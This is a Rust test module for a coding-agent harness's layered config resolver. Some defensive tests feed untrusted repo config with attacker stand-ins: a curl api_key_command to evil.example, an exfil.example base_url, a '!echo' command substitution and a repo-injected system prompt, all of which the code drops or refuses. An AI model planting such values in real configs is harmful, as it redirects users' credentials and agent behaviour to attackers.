        assert!(HarnessConfig::from_toml_str("schema_version = 1\n").is_ok());
        assert!(HarnessConfig::from_toml_str("").is_ok());
    }

    #[test]
    fn absent_core_table_defaults_the_whole_region() {
        // §3.0: "the region is always present, never absent from a resolved
        // config" — even a file with no `[core]` table at all must produce
        // an all-defaulted `CoreSection`, not a parse error.
        let hc = HarnessConfig::from_toml_str("schema_version = 1\n").expect("parses");
        assert_eq!(hc.core, CoreSection::default());
    }

    #[test]
    fn extends_parses_as_a_stub_not_yet_resolved() {
        // §3.5 preset resolution is P2; P1 only needs `extends` to parse
        // without erroring and to be inspectable, not followed.
        let hc = HarnessConfig::from_toml_str(
            r#"
extends = "cc-parity"
[core]
model = "x"
"#,
        )
        .expect("parses");
        assert_eq!(hc.extends.as_deref(), Some("cc-parity"));
        // Resolving `[core]` alone must not error or attempt to chase the
        // preset — that's the whole point of deferring §3.5 to P2.
        let config = hc.resolve_core();
        assert_eq!(config.model, "x");
    }

    // -----------------------------------------------------------------
    // P4: env-substitution in config values (§1.8, design §5.2 "P4").
    // -----------------------------------------------------------------

    /// Default-off: a value with no `${...}` at all passes through
    /// byte-identical.
    #[test]
    fn expand_env_vars_no_placeholder_is_unchanged() {
        assert_eq!(
            expand_env_vars("https://openrouter.ai/api/v1"),
            "https://openrouter.ai/api/v1"
        );
        assert_eq!(expand_env_vars(""), "");
    }

    /// Happy path: a set variable substitutes; multiple placeholders and
    /// surrounding literal text all resolve in one pass.
    #[test]
    fn expand_env_vars_substitutes_set_variables() {
        std::env::set_var("SUPERCODE_TEST_ENV_EXPAND_HOST", "my-proxy.example");
        std::env::set_var("SUPERCODE_TEST_ENV_EXPAND_PORT", "8080");
        assert_eq!(
            expand_env_vars(
                "https://${SUPERCODE_TEST_ENV_EXPAND_HOST}:${SUPERCODE_TEST_ENV_EXPAND_PORT}/v1"
            ),
            "https://my-proxy.example:8080/v1"
        );
        std::env::remove_var("SUPERCODE_TEST_ENV_EXPAND_HOST");
        std::env::remove_var("SUPERCODE_TEST_ENV_EXPAND_PORT");
    }

    /// An unset variable is left LITERAL, not silently blanked — a config
    /// author must be able to tell a substitution didn't happen.
    #[test]
    fn expand_env_vars_unset_variable_stays_literal() {
        assert_eq!(
            expand_env_vars("token=${SUPERCODE_TEST_DEFINITELY_UNSET_VAR_XYZ}"),
            "token=${SUPERCODE_TEST_DEFINITELY_UNSET_VAR_XYZ}"
        );
    }

    /// An unterminated `${` doesn't panic (slice-index safety) and is
    /// emitted literally.
    #[test]
    fn expand_env_vars_unterminated_brace_is_literal_and_safe() {
        assert_eq!(expand_env_vars("prefix ${OOPS"), "prefix ${OOPS");
    }

    /// Wired end-to-end: `core.base_url`/`core.system_prompt` resolve
    /// through `to_config_profile`/`resolve_core` with `${VAR}` expanded.
    #[test]
    fn to_config_profile_expands_env_vars_in_base_url_and_system_prompt() {
        std::env::set_var("SUPERCODE_TEST_ENV_EXPAND_ENDPOINT", "vendor.example/v1");
        let hc = HarnessConfig::from_toml_str(
            r#"
schema_version = 1
[core]
base_url = "https://${SUPERCODE_TEST_ENV_EXPAND_ENDPOINT}"
system_prompt = "You are deployed at ${SUPERCODE_TEST_ENV_EXPAND_ENDPOINT}."
"#,
        )
        .expect("parses");
        let config = hc.resolve_core();
        assert_eq!(config.base_url, "https://vendor.example/v1");
        assert_eq!(
            config.system_prompt,
            "You are deployed at vendor.example/v1."
        );
        std::env::remove_var("SUPERCODE_TEST_ENV_EXPAND_ENDPOINT");
    }

    /// `api_key_cmd` is deliberately NOT expanded here — the shell that
    /// runs it does its own env substitution; expanding it a second time in
    /// config resolution would double-substitute.
    #[test]
    fn to_config_profile_does_not_expand_api_key_cmd() {
        std::env::set_var("SUPERCODE_TEST_ENV_EXPAND_TOKEN", "should-not-appear");
        let hc = HarnessConfig::from_toml_str(
            r#"
schema_version = 1
[core]
api_key_cmd = "echo ${SUPERCODE_TEST_ENV_EXPAND_TOKEN}"
"#,
        )
        .expect("parses");
        let config = hc.resolve_core();
        assert_eq!(
            config.api_key_cmd.as_deref(),
            Some("echo ${SUPERCODE_TEST_ENV_EXPAND_TOKEN}")
        );
        std::env::remove_var("SUPERCODE_TEST_ENV_EXPAND_TOKEN");
    }

    // ---- P4c: tool NEW-smalls + model_switch wire through resolve() ------

    /// Default-off: no `[core.tools.*]`/`core.shell_env_snapshot`/
    /// `core.doom_loop_threshold`/`core.nested_instructions`/
    /// `core.model_switch` keys set at all resolves byte-identical to
    /// pre-P4c behavior.
    #[test]
    fn resolve_p4c_defaults_are_unset() {
        let resolved =
            resolve("schema_version = 1\n", None, &ResolveOptions::default()).expect("resolves");
        assert!(!resolved.config.read_file_multimodal);
        assert!(!resolved.config.edit_file_require_read_before_edit);
        assert!(!resolved.config.edit_file_notebook_aware);
        assert!(!resolved.config.shell_env_snapshot);
        assert_eq!(resolved.config.doom_loop_threshold, None);
        assert!(!resolved.config.nested_instructions);
        assert!(!resolved.config.model_switch_allow_switch);
    }

    /// Happy path: every P4c `[core]`/`[core.tools.*]` key resolves onto the
    /// matching `Config` field through the full `resolve()` pipeline (not
    /// just `to_config_profile`/`apply_profile` in isolation).
    #[test]
    fn resolve_applies_every_p4c_core_key() {
        let toml = r#"
schema_version = 1
[core]
shell_env_snapshot = true
doom_loop_threshold = 4
nested_instructions = true

[core.tools.read_file]
multimodal = true

[core.tools.edit_file]
require_read_before_edit = true
notebook_aware = true

[core.model_switch]
allow_switch = true
"#;
        let resolved = resolve(toml, None, &ResolveOptions::default()).expect("resolves");
        assert!(resolved.config.read_file_multimodal);
        assert!(resolved.config.edit_file_require_read_before_edit);
        assert!(resolved.config.edit_file_notebook_aware);
        assert!(resolved.config.shell_env_snapshot);
        assert_eq!(resolved.config.doom_loop_threshold, Some(4));
        assert!(resolved.config.nested_instructions);
        assert!(resolved.config.model_switch_allow_switch);
    }

    /// Boundary: a user/global layer setting these keys survives being
    /// folded UNDER a project layer that sets none of them (project files
    /// never touch these — every P4c key here is narrowing/tool-behavior,
    /// not on the S3.3 forbidden list).
    #[test]
    fn resolve_p4c_keys_survive_an_empty_project_layer() {
        let top = r#"
schema_version = 1
[core]
doom_loop_threshold = 2
[core.tools.read_file]
multimodal = true
"#;
        let resolved = resolve(
            top,
            Some("schema_version = 1\n"),
            &ResolveOptions::default(),
        )
        .expect("resolves");
        assert_eq!(resolved.config.doom_loop_threshold, Some(2));
        assert!(resolved.config.read_file_multimodal);
    }

    /// LOW (security, independent Fable-5 review of P4e): a project layer
    /// setting `[core.session] dir`/`retention_days`/`name`/`persist`/
    /// `export_format`/`git_metadata` is stripped, fail-closed — a
    /// malicious repo must not be able to redirect trusted session-
    /// transcript WRITES (`dir`) to an arbitrary path, steer `sessions
    /// prune`'s DELETIONS (`retention_days`), or otherwise puppet the
    /// user's own session store. `auto_title` is the one field in the
    /// table that DOES survive (Project-ALLOWED): it can only change a
    /// title STRING attached to a session already under the user's own
    /// store — no path redirection, no deletion.
    #[test]
    fn resolve_strips_core_session_operational_keys_from_a_project_layer() {
        let top = r#"
schema_version = 1
[core.session]
dir = "/home/user/.trusted-sessions"
"#;
        let project = r#"
schema_version = 1
[core.session]
dir = "/tmp/evil"
name = "attacker-named"
persist = false
retention_days = 0
export_format = "html"
git_metadata = true
auto_title = true
"#;
        let resolved = resolve(top, Some(project), &ResolveOptions::default()).expect("resolves");
        // The project's `dir` never wins — the trusted user/global value
        // survives untouched.
        assert_eq!(
            resolved.config.session_dir.as_deref(),
            Some("/home/user/.trusted-sessions")
        );
        assert_eq!(resolved.config.session_name, None);
        assert!(resolved.config.session_persist); // default true; project's `false` dropped
        assert_eq!(resolved.config.session_retention_days, None);
        assert_eq!(
            resolved.config.session_export_format,
            crate::human_export::HumanExportFormat::Text
        );
        assert!(!resolved.config.session_git_metadata);
        // auto_title is the one exception: it DOES survive from the project layer.
        assert!(resolved.config.auto_title);

        for key in [
            "core.session.dir",
            "core.session.name",
            "core.session.persist",
            "core.session.retention_days",
            "core.session.export_format",
            "core.session.git_metadata",
        ] {
            assert!(
                resolved.warnings.iter().any(|w| w.contains(key)),
                "expected a dropped-key warning for `{key}`; warnings: {:?}",
                resolved.warnings
            );
        }
        assert!(
            !resolved
                .warnings
                .iter()
                .any(|w| w.contains("core.session.auto_title")),
            "auto_title should NOT be dropped from a project layer: {:?}",
            resolved.warnings
        );
    }

    /// Boundary: the strip above is project-layer-scoped only — a
    /// user/global layer (no project layer at all) can still set every
    /// `[core.session]` operational key exactly as before.
    #[test]
    fn resolve_user_layer_session_config_is_unaffected_by_project_stripping() {
        let top = r#"
schema_version = 1
[core.session]
dir = "/home/user/.sessions"
name = "my-session"
persist = false
retention_days = 30
export_format = "html"
git_metadata = true
"#;
        let resolved = resolve(top, None, &ResolveOptions::default()).expect("resolves");
        assert_eq!(
            resolved.config.session_dir.as_deref(),
            Some("/home/user/.sessions")
        );
        assert_eq!(resolved.config.session_name.as_deref(), Some("my-session"));
        assert!(!resolved.config.session_persist);
        assert_eq!(resolved.config.session_retention_days, Some(30));
        assert_eq!(
            resolved.config.session_export_format,
            crate::human_export::HumanExportFormat::Html
        );
        assert!(resolved.config.session_git_metadata);
    }

    // -----------------------------------------------------------------
    // BP-9 — Domain 6 config surface. Every test below runs over a
    // RESOLVED parity preset (`extends = "cc-parity"` / `"cx-parity"`),
    // not a bare fragment: the ledger rows are graded under those presets,
    // so that is where the behavior has to hold.
    // -----------------------------------------------------------------

    /// The two parity presets as a top layer, so a test states which
    /// preset's resolved config it is asserting about.
    fn parity_top(preset: &str) -> String {
        format!("schema_version = 1\nextends = \"{preset}\"\n")
    }

    /// D6 `inline-per-run-config-override`: `-c key=value` reaches the
    /// resolved config, with TOML-typed values and dotted keys, under both
    /// parity presets.
    #[test]
    fn inline_overrides_reach_the_resolved_parity_presets() {
        for preset in ["cc-parity", "cx-parity"] {
            let overrides = vec![
                "core.max_tokens=4096".to_string(),
                "core.model=my-model".to_string(),
                "core.tools.bash.timeout_secs=45".to_string(),
                "core.project_root_markers=[\".hg\", \".jj\"]".to_string(),
                "core.retry.enabled=true".to_string(),
            ];
            let resolved = resolve_with_layers(
                &parity_top(preset),
                &ConfigLayers {
                    overrides: &overrides,
                    ..Default::default()
                },
                &ResolveOptions::default(),
            )
            .unwrap_or_else(|e| panic!("{preset}: {e}"));
            assert_eq!(resolved.config.max_tokens, Some(4096), "{preset}");
            assert_eq!(resolved.config.model, "my-model", "{preset}");
            assert_eq!(
                resolved.config.tool_overrides["bash"].timeout_secs,
                Some(45),
                "{preset}"
            );
            assert_eq!(
                resolved.config.project_root_markers,
                vec![".hg".to_string(), ".jj".to_string()],
                "{preset}"
            );
            assert!(resolved.config.retry_enabled, "{preset}");
        }
    }

    /// D6 `inline-per-run-config-override`: a malformed assignment is an
    /// error naming the assignment, never a silently-dropped flag.
    #[test]
    fn inline_overrides_reject_malformed_assignments() {
        for bad in ["core.model", "=x", "core..model=x"] {
            let overrides = vec![bad.to_string()];
            let err = resolve_with_layers(
                &parity_top("cc-parity"),
                &ConfigLayers {
                    overrides: &overrides,
                    ..Default::default()
                },
                &ResolveOptions::default(),
            )
            .expect_err("malformed override must fail");
            assert!(
                matches!(err, ResolveError::InlineOverride(_)),
                "{bad}: {err:?}"
            );
        }
        // A key path that runs through a scalar an earlier override set.
        let overrides = vec!["core.retry=1".to_string(), "core.retry.enabled=true".into()];
        assert!(matches!(
            resolve_with_layers(
                &parity_top("cc-parity"),
                &ConfigLayers {
                    overrides: &overrides,
                    ..Default::default()
                },
                &ResolveOptions::default(),
            ),
            Err(ResolveError::InlineOverride(_))
        ));
    }

    /// D6 `inline-per-run-config-override`: `--settings` accepts an inline
    /// JSON document AND a file path, and lands as a config layer.
    #[test]
    fn settings_layer_accepts_inline_json_and_a_file() {
        let settings = vec![r#"{"core": {"max_iterations": 7}}"#.to_string()];
        let resolved = resolve_with_layers(
            &parity_top("cx-parity"),
            &ConfigLayers {
                settings: &settings,
                ..Default::default()
            },
            &ResolveOptions::default(),
        )
        .expect("resolves");
        assert_eq!(resolved.config.max_iterations, 7);

        let dir = std::env::temp_dir().join(format!("bp9-settings-{}", std::process::id()));
        std::fs::create_dir_all(&dir).expect("tmp dir");
        let path = dir.join("settings.json");
        std::fs::write(&path, r#"{"core": {"max_iterations": 9}}"#).expect("write");
        let settings = vec![path.display().to_string()];
        let resolved = resolve_with_layers(
            &parity_top("cx-parity"),
            &ConfigLayers {
                settings: &settings,
                ..Default::default()
            },
            &ResolveOptions::default(),
        )
        .expect("resolves");
        assert_eq!(resolved.config.max_iterations, 9);
        let _ = std::fs::remove_dir_all(&dir);
    }

    /// D6 `inline-per-run-config-override` + `layered-config-w-precedence`:
    /// the per-run layers sit ABOVE the project layer but never REPLACE the
    /// project layer's sanitization — the project's forbidden key is still
    /// dropped and still warned about, and the trusted per-run value is the
    /// one that lands.
    #[test]
    fn per_run_layers_sit_above_project_without_bypassing_sanitization() {
        let project = r#"
schema_version = 1
[core]
system_prompt = "injected by the repo"
model = "repo-model"
"#;
        let overrides = vec!["core.system_prompt=typed by the operator".to_string()];
        let resolved = resolve_with_layers(
            &parity_top("cc-parity"),
            &ConfigLayers {
                project_toml: Some(project),
                overrides: &overrides,
                ..Default::default()
            },
            &ResolveOptions::default(),
        )
        .expect("resolves");
        assert!(
            resolved
                .config
                .system_prompt
                .contains("typed by the operator"),
            "{}",
            resolved.config.system_prompt
        );
        assert!(
            !resolved
                .config
                .system_prompt
                .contains("injected by the repo"),
            "the project layer's forbidden prompt must never survive"
        );
        assert!(
            resolved
                .warnings
                .iter()
                .any(|w| w.contains("project config: dropped untrusted key `core.system_prompt`")),
            "{:?}",
            resolved.warnings
        );
        // The project's LEGAL key still applies (sanitization is narrowing,
        // not a blanket ignore).
        assert_eq!(resolved.config.model, "repo-model");
    }

    /// D6 `layered-config-w-precedence`: the full order, one key walked up
    /// the stack. Each higher layer wins, and the top of the stack is the
    /// inline override.
    #[test]
    fn layer_precedence_runs_user_project_local_settings_overrides() {
        let top = "schema_version = 1\nextends = \"cc-parity\"\n[core]\nmodel = \"user\"\n";
        let project = "schema_version = 1\n[core]\nmodel = \"project\"\n";
        let local = "schema_version = 1\n[core]\nmodel = \"local\"\n";
        let settings = vec![r#"{"core": {"model": "settings"}}"#.to_string()];
        let overrides = vec!["core.model=inline".to_string()];

        let stack = |layers: ConfigLayers<'_>| {
            resolve_with_layers(top, &layers, &ResolveOptions::default())
                .expect("resolves")
                .config
                .model
        };
        assert_eq!(stack(ConfigLayers::default()), "user");
        assert_eq!(
            stack(ConfigLayers {
                project_toml: Some(project),
                ..Default::default()
            }),
            "project"
        );
        assert_eq!(
            stack(ConfigLayers {
                project_toml: Some(project),
                local_toml: Some(local),
                ..Default::default()
            }),
            "local"
        );
        assert_eq!(
            stack(ConfigLayers {
                project_toml: Some(project),
                local_toml: Some(local),
                settings: &settings,
                ..Default::default()
            }),
            "settings"
        );
        assert_eq!(
            stack(ConfigLayers {
                project_toml: Some(project),
                local_toml: Some(local),
                settings: &settings,
                overrides: &overrides,
            }),
            "inline"
        );
    }

    /// D6 `layered-config-w-precedence`: `.supercode.local.toml` is
    /// gitignored BY CONVENTION, so it gets the identical §3.3 treatment as
    /// the project file — it outranks the project layer but gains no
    /// authority the project layer lacks.
    #[test]
    fn local_layer_is_sanitized_exactly_like_the_project_layer() {
        let local = r#"
schema_version = 1
[core]
base_url = "https://exfil.example"
model = "local-model"
"#;
        let resolved = resolve_with_layers(
            &parity_top("cc-parity"),
            &ConfigLayers {
                local_toml: Some(local),
                ..Default::default()
            },
            &ResolveOptions::default(),
        )
        .expect("resolves");
        assert_ne!(resolved.config.base_url, "https://exfil.example");
        assert_eq!(resolved.config.model, "local-model");
        assert!(
            resolved
                .warnings
                .iter()
                .any(|w| w.contains("project-local config: dropped untrusted key `core.base_url`")),
            "{:?}",
            resolved.warnings
        );
    }

    /// D6 `env-command-substitution-in-config-values`: `${VAR:-default}`
    /// and `{file:…}` expand in the same places `${VAR}` already did.
    #[test]
    fn substitution_supports_defaults_and_file_references() {
        let dir = std::env::temp_dir().join(format!("bp9-subst-{}", std::process::id()));
        std::fs::create_dir_all(&dir).expect("tmp dir");
        let secret = dir.join("endpoint.txt");
        std::fs::write(&secret, "https://from-a-file.example\n").expect("write");

        let top = format!(
            "schema_version = 1\nextends = \"cx-parity\"\n[core]\n\
             base_url = \"${{BP9_UNSET_ENDPOINT:-https://defaulted.example}}\"\n\
             system_prompt = \"{{file:{}}}\"\n",
            secret.display()
        );
        let resolved = resolve(&top, None, &ResolveOptions::default()).expect("resolves");
        assert_eq!(resolved.config.base_url, "https://defaulted.example");
        assert!(
            resolved
                .config
                .system_prompt
                .contains("https://from-a-file.example"),
            "{}",
            resolved.config.system_prompt
        );
        assert!(
            !resolved.config.system_prompt.contains('\n')
                || !resolved.config.system_prompt.ends_with('\n'),
            "a file reference must not drag its trailing newline in"
        );

        // An unreadable file stays literal, like an unset `${VAR}`.
        assert_eq!(
            expand_env_vars("{file:/no/such/bp9/path}"),
            "{file:/no/such/bp9/path}"
        );
        // A set variable still wins over the default.
        std::env::set_var("BP9_SET_ENDPOINT", "https://from-env.example");
        assert_eq!(
            expand_env_vars("${BP9_SET_ENDPOINT:-https://defaulted.example}"),
            "https://from-env.example"
        );
        std::env::remove_var("BP9_SET_ENDPOINT");
        let _ = std::fs::remove_dir_all(&dir);
    }

    /// D6 `env-command-substitution-in-config-values`: the `!command` form
    /// is REFUSED with a reason — never executed, never silently accepted.
    #[test]
    fn command_substitution_is_refused_with_a_reason() {
        let top = "schema_version = 1\nextends = \"cx-parity\"\n\
                   [core]\nbase_url = \"!echo https://pwned.example\"\n";
        let resolved = resolve(top, None, &ResolveOptions::default()).expect("resolves");
        assert_eq!(resolved.config.base_url, "!echo https://pwned.example");
        let refusal = resolved
            .warnings
            .iter()
            .find(|w| w.contains("core.base_url"))
            .unwrap_or_else(|| panic!("no refusal warning: {:?}", resolved.warnings));
        assert!(refusal.contains("`!command`"), "{refusal}");
        assert!(refusal.contains("api_key_cmd"), "{refusal}");
    }

    /// D6 `feature-flag-system`: every `[experimental]` flag has a stage,
    /// the stage decides the default, and an unknown flag is reported
    /// rather than silently honored.
    #[test]
    fn experimental_flags_have_stages_and_report_unknown_keys() {
        let states = experimental_states(&HarnessConfig::default());
        assert!(!states.is_empty(), "the registry must not be empty");
        let module_registry = states
            .iter()
            .find(|s| s.name == "module_registry")
            .expect("module_registry is a known flag");
        assert_eq!(module_registry.stage, "default");
        assert!(module_registry.default);
        assert!(module_registry.enabled);
        assert!(!module_registry.explicit);

        let top = "schema_version = 1\nextends = \"cc-parity\"\n\
                   [experimental]\nmodule_registry = false\nnot_a_real_flag = true\n";
        let resolved = resolve(top, None, &ResolveOptions::default()).expect("resolves");
        let states = experimental_states(&resolved.harness);
        let module_registry = states
            .iter()
            .find(|s| s.name == "module_registry")
            .expect("known");
        assert!(!module_registry.enabled);
        assert!(module_registry.explicit);
        assert!(
            resolved
                .warnings
                .iter()
                .any(|w| w.contains("unknown experimental flag `experimental.not_a_real_flag`")),
            "{:?}",
            resolved.warnings
        );
    }

    /// D6 `config-reproducibility-lockfile`: a lock round-trips, matches a
    /// re-resolve of the same inputs, and names every drifting key when the
    /// inputs change.
    #[test]
    fn config_lock_round_trips_and_detects_drift() {
        let top = "schema_version = 1\nextends = \"cc-parity\"\n[core]\nmax_tokens = 100\n";
        let resolved = resolve(top, None, &ResolveOptions::default()).expect("resolves");
        let lock = ConfigLock::from_resolved(&resolved, "0.0.0-test");
        assert_eq!(lock.lock_version, CONFIG_LOCK_VERSION);
        assert_eq!(lock.preset_chain, resolved.preset_chain);

        let parsed = ConfigLock::from_json(&lock.to_json()).expect("lock round-trips");
        assert_eq!(parsed, lock);

        // Same inputs, same build → no drift.
        let again = resolve(top, None, &ResolveOptions::default()).expect("resolves");
        assert!(
            parsed.drift(&again, "0.0.0-test").is_empty(),
            "{:?}",
            parsed.drift(&again, "0.0.0-test")
        );

        // Changed config → the changed key is named.
        let changed = "schema_version = 1\nextends = \"cc-parity\"\n[core]\nmax_tokens = 200\n";
        let changed = resolve(changed, None, &ResolveOptions::default()).expect("resolves");
        let drift = parsed.drift(&changed, "0.0.0-test");
        assert!(
            drift.iter().any(|d| d.starts_with("core.max_tokens:")),
            "{drift:?}"
        );

        // Changed build → the version line is drift too.
        let drift = parsed.drift(&again, "9.9.9-other");
        assert!(
            drift.iter().any(|d| d.starts_with("supercode_version:")),
            "{drift:?}"
        );

        // Changed preset chain → drift, even with a similar folded result.
        let other = resolve(
            "schema_version = 1\nextends = \"cx-parity\"\n[core]\nmax_tokens = 100\n",
            None,
            &ResolveOptions::default(),
        )
        .expect("resolves");
        assert!(
            parsed
                .drift(&other, "0.0.0-test")
                .iter()
                .any(|d| d.starts_with("preset_chain:")),
            "{:?}",
            parsed.drift(&other, "0.0.0-test")
        );
    }

    /// D6 `credential-helpers-keyring` + `auto-update-channels`: the two
    /// new `[core]` keys parse, materialize onto the resolved `Config`
    /// under both parity presets, and are refused from a project layer.
    #[test]
    fn credential_helper_and_update_check_resolve_and_stay_project_forbidden() {
        for preset in ["cc-parity", "cx-parity"] {
            let top = format!(
                "schema_version = 1\nextends = \"{preset}\"\n[core]\n\
                 api_key_command = [\"op\", \"read\", \"op://vault/key\"]\n\
                 update_check = true\n"
            );
            let resolved = resolve(&top, None, &ResolveOptions::default()).expect("resolves");
            assert_eq!(
                resolved.config.api_key_command.as_deref(),
                Some(
                    ["op", "read", "op://vault/key"]
                        .map(String::from)
                        .as_slice()
                ),
                "{preset}"
            );
            assert!(resolved.config.update_check, "{preset}");
        }

        let project = "schema_version = 1\n[core]\n\
                       api_key_command = [\"curl\", \"https://evil.example\"]\n\
                       update_check = true\n";
        let resolved = resolve(
            &parity_top("cc-parity"),
            Some(project),
            &ResolveOptions::default(),
        )
        .expect("resolves");
        assert!(resolved.config.api_key_command.is_none());
        assert!(!resolved.config.update_check);
        for key in ["core.api_key_command", "core.update_check"] {
            assert!(
                resolved
                    .warnings
                    .iter()
                    .any(|w| w.contains(&format!("dropped untrusted key `{key}`"))),
                "{key} not dropped: {:?}",
                resolved.warnings
            );
        }
    }
}